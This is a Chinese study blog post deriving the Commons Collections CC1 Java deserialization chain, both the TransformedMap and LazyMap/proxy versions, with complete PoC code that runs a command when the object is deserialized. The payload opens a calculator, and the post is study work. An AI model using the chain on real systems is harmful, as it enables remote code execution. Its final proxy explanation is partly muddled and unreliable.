前言
本篇文章单纯记录自己学习cc1的过程,里面遇到一些点有些难理解,我总是试图记录下来帮助自己理解(虽然有些时候纠结的点很蠢:),所以整理出来算是监督自己学习吧。自己java基础不是很扎实,可能有理解不对的地方,非常欢迎联系我(wx:Lintian3188)指正,感谢🙏
反射调用runtime执行calc
正常调用runtime执行calc语句应该是
1
| Runtime.getRuntime().exec("open -a Calculator");
|
反射是
1 2 3 4 5
| Class c = Class.forName("java.lang.Runtime"); Method getRuntime = c.getMethod("getRuntime"); Method exec = c.getMethod("exec", String.class); Object o = getRuntime.invoke(null); exec.invoke(o, "Open -a Calculator");
|
第一句使用Class.forName 动态加载Runtime,此时的c是Runtime的class对象
第二句使用getMethod获取到getRuntime方法,返回的是Method对象
第三局继续使用getMethod获取exec方法有一个String.class是因为exec正常调用的时候就需要一个参数String
第四句使用inoke也就是执行getRuntime,看一下源码
1 2 3 4
| private static Runtime currentRuntime = new Runtime(); public static Runtime getRuntime() { return currentRuntime; }
|
就是执行这个方法刚好会返回一个currentRuntime,这个变量是Runtime类型的对象,有这个才能让我们exec正常调用
可以理解成Object o = getRuntime.invoke(null);
执行效果等于Runtime.getRuntime()
第五句invoke 的第一个参数是目标实例对象 o,第二个参数是方法的实际参数,所以就相当于执行了Runtime.getRuntime().exec

直接跟进到这个类,里面的transform
方法用到了反射,我们最后就是要利用这个很灵活的机制实现恶意代码执行
我们一开始直接调用查看
1 2 3 4 5 6
| public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}); invokerTransformer.transform(runtime); }
|
InvokerTransformer.transform()
方法里面,iMethodName
对应我们前面构造的exec
,iParamTypes
对应String.class
,iArgs
对应我们要执行的命令,在public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
来看,这写都完美对应我们这次反射调用Runtime执行命令的逻辑
1 2 3
| Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
|
初步的链子
就是点击这个函数右键查找用法,有很多调用的地方,我们需要筛出比较合适的
链子的正确顺序就是找到TransformedMap
的checkSetValue()

里面调用了valueTransformer.transform(value);,跟进看一下valueTransformer
是什么

能在TransformedMap的一个构造方法里面发现它被调用,然后他的作用域是proteced,还要在TransformedMap里找到谁去调用了这个方法,定位到了decorate()
,这个是public方法
其实传入的参数及户没有差别,感觉就是多了一层,就理解为自我装饰吧
先把链子整理一下,目前的情况主要就是追踪到了checkSetValue(),然后我们要控制里面的valueTransformer
是我们前面自己已经写好的的invokerTransformer
,才能顺利调用,这里再尝试写出代码:
1 2 3 4 5 6 7 8 9 10 11 12
| public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});
HashMap<Object,Object> hashMap = new HashMap<>(); Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer); Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValues = transformedMapClass.getDeclaredMethod("checkSetValue",Object.class); checkSetValues.setAccessible(true); checkSetValues.invoke(decorateMap,runtime); }
|
讲一下,这里invokerTransformer就是用于最后invokerTransformer.transform()的执行,为什么这么定义前面已经写了,然后新建一个HashMap变量是用于 TransformedMap.decorate()的调用,这个函数就是对一个map进行装饰,进入这个函数才会触发TransformedMap的构造函数,才能给valueTransformer赋值,这就算是准备工作,后面我们需要出发checkSetValue函数,这个才是重头戏,因为是protected的,所以我们需要反射调用,后面几句全是为了触发反射做的准备工作
进一步的链子
目前我们就卡在checkSetValue这里,还要满足decorate,我们再find usage看谁调用了checkSetValue

来到AbstractInputCheckedMapDecorator
这个抽象类,它还是TransformerdMap的父类,里面一个继承了AbstractSetDecorator
的内部类MapEntry有setValue
方法调用了我们要的checkSetValue方法
setValue()
实际上就是在 Map 中对一组 entry(键值对)进行 setValue()
操作。
一个MapEntry就是hash的一个键值对
所以就是说当我们在调用decorate对map进行遍历的时候,就会触发setValue,而这个重写的setValue会触发我们要的checkSetValue
再重写现在的POC
1 2 3 4 5 6 7 8 9 10 11 12
| public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("a","b"); Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer); for (Map.Entry entry:decorateMap.entrySet()){ entry.setValue(runtime); } }
|
直接调用decorate,返回一个TransformedMap的东西,后面遍历的时候才会进到我们要到的setValue
1
| Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
|
所以现在的链子就是找到一个入口hashmap,去触发获取TransformedMap再去遍历它触发setValue函数,
1 2 3 4 5 6
| hashMap入口 -> .decorate() -> TransformedMap -> 遍历setValue() ->AbstractInputCheckedMapDecorator#setValue() -> TransformedMap#checkSetValue() -> InvokerTransformer#transform()
|
找到链首readObject
我们在find usage,找到有一个类里面的readObject就调用了setValue(这里还是有一些限制条件的,后面再解决)

所以按理说我们序列化AnnotationInvocationHandler
这个类的时候就会触发readObject
紧接着后面的链子
然后这个类没有写明作用域,就算是default,还是要用反射调用,理想状态下的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"open -a calculator"}); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Override.class, transformedMap);
serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
|
现在的几个问题

- 有几个if判断需要解决
- readObject里面的setValue函数传参要怎么控制,我们要传的是Runtime对象,代码里明显和我们要做的不一样
- Runtime.class不能序列化
解决Runtime不能序列化
Runtime不能序列化,但是Runtime.class可以,所以我们可以写一个普通反射,然后设法让InvokerTransformer调用
正常里说,我们的反射调用runtime.class是这么写
1 2 3 4 5 6 7
| public static void main(String[] args) throws Exception{ Class c = Runtime.class; Method method = c.getMethod("getRuntime"); Runtime runtime = (Runtime) method.invoke(null); Method exec = c.getMethod("exec",String.class); exec.invoke(runtime,"open -a calculator"); }
|
这就比较麻烦了,我们用InvokerTransformer.transform()一次一次实现我们要的效果
1 2 3 4 5 6 7 8
| public static void main(String[] args) throws Exception{ Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}).transform(runtime); }
|
每一句都是有对应的,然后一一循环调用,但是这样调用代码很冗余,于是前面有一个`ChainedTransformer类,这里存在递归调用

于是我们可以把代码优化成
1 2 3 4 5 6 7 8 9
| public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Object o = chainedTransformer.transform(Runtime.class); }
|
我们new一个Transformer数组,然后用ChainedTransformer递归调用就好了,最后只用到一个transform,又解决了runtime序列化问题也不会代码冗余。
那再结合最开始的decorate,我们再整理一下poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Override.class,transformedMap); serialize(o); unserialize("ser.bin"); }
|
但是咧还是不会弹计算机,我们跟进一下
断点打在AnnotationInvocationHandler里面的那个if判断,会发现它是不会进去的

解决if判断
这里有个memberType判断,我们要控制他不是null,看一下是什么东西

这个type是我们前面构造函数里传入的注解类型的对象,图片第一个红框就是获取注解类型的成员方法
下面判断成员方法不能是空,我们前面传入的Override就是没有成员方法所以进不去if
现在我们选择传一个Target.class,里面就有一个成员变量value

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
|
所以我们在最前面改成传入Target.class,这次他有成员变量,但是没有和前面的hashMap键值对对应,还是进不了if

调试一下,这个memberTypes也就是我们传入的Target.class里面没有a,所以memberType还是null

现在改成hashMap.put(“value”,”flowww”),

这个时候再看就不是null了,可以进入第一个if,第二个if是在判断能不能强转,也能顺利进入了
现在我们调试顺利来到了setValue方法

因为setValue里面的参数不可控,指定了特定的类,这限制了我们的命令执行
进入setValue
先从头讲,我们按目前的情况进入到setValue再到checkSetValue

我们要控制
1 2 3
| valueTransformer.transform(value); = chainedTransformer.transform(Runtime.class);
|
但是也能看到调试到这里value不是Runtime.class
于是最后找到一个有可控参数的类ConstantTransformer

构造方法里,任何传入的对象都放在iConstant里
transform里,无论传入什么都返回iConstant,这相当于一个常量了
我们在最开始chainedTransformer定义的时候多加一个ConstantTransformer构造,这样后面调用transform的时候无论传入的value是什么类型都会返回我们要的Runtime.class
最后POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value", "flowww"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
|
真是呕心沥血,未完待续,还有另一条lazymap的,我要抓紧补上
LazyMap版
有一部分是一样,直到一个地方有分叉,我们可以在transform那里查看用法,可以跟踪到LazyMap.get()
也调用了transform

跟进看一下factory是什么东西

可以看到是Transformer类,而且还有前面熟悉的decorate,factory会在构造函数里出现,这个是可控的,符合我们的要求。
然后看一下这个类的构造函数,作用域是protected
,所以我们需要反射调用
目前的链子这样是可行的
1 2 3 4 5 6 7 8 9 10
| public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer); Class<LazyMap> clazz = LazyMap.class; Method LazyGet = clazz.getDeclaredMethod("get", Object.class); LazyGet.setAccessible(true); LazyGet.invoke(decorateMap, runtime); }
|
然后我们继续find usage,最后在 AnnotationInvocationHandler.invoke()
函数里面找到调用

而且这个类本身有readObject,这就方便了很多
结合这个类名,我们要触发invoke,就涉及到动态代理
当对某个对象使用Proxy.newProxyInstance进行动态代理并传入有实现invoke的相应hanlder对象(比如这里的AnnotationInvocationHandler),当调用方法时,就会跳转到这个handler对象的invoke方法。
我们看到readObject里面

我们这里直接有一个调用,我们让memberValues
是一个动态代理就好,他就会自动调用invoke
这个部分我理解了好久,先贴一个poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class LazyCC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler1); InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler2); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
最终所有理解
- AnnotationInvocationHandler.readObject() 反序列化触发
反序列化时,readObject() 方法被调用。
在 readObject() 内部,它会调用 memberValues.entrySet(),其中 memberValues 实际上是 proxyMap。
- memberValues.entrySet() -> proxyMap.get(“entrySet”)
由于 proxyMap 是 Proxy 代理对象,当调用 entrySet() 时,它会尝试调用 proxyMap.get(“entrySet”)。
proxyMap.get(“entrySet”) 作为 Map 的方法,会被 InvocationHandler2 拦截。
- InvocationHandler2.invoke() -> proxyMap.get()
InvocationHandler2 是 AnnotationInvocationHandler,它拦截 proxyMap.get(“entrySet”)。
proxyMap 本身是一个 Proxy 对象,因此 get() 方法的调用会被再次拦截,进入 InvocationHandler1.invoke()。
- InvocationHandler1.invoke() -> decorateMap.get()
InvocationHandler1 仍然是 AnnotationInvocationHandler,它调用 decorateMap.get() 来获取 entrySet。
decorateMap 是 LazyMap,所以 get() 方法会被重写,并调用 factory.transform()。
- LazyMap.get() -> ChainedTransformer.transform()
LazyMap 在 get() 方法中会调用 factory.transform(),这里 factory 是 ChainedTransformer,它会依次执行 transformers[] 数组中的转换逻辑。
- ChainedTransformer 执行 Transformer[] 变换
参考
感谢之前的师傅出的内容让我学习🙏
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#0x03-Common-Collections-%E7%9B%B8%E5%85%B3%E4%BB%8B%E7%BB%8D
https://www.bilibili.com/video/BV1no4y1U7E1?vd_source=46e5237289ae6c1a3c7bcab6091e42a6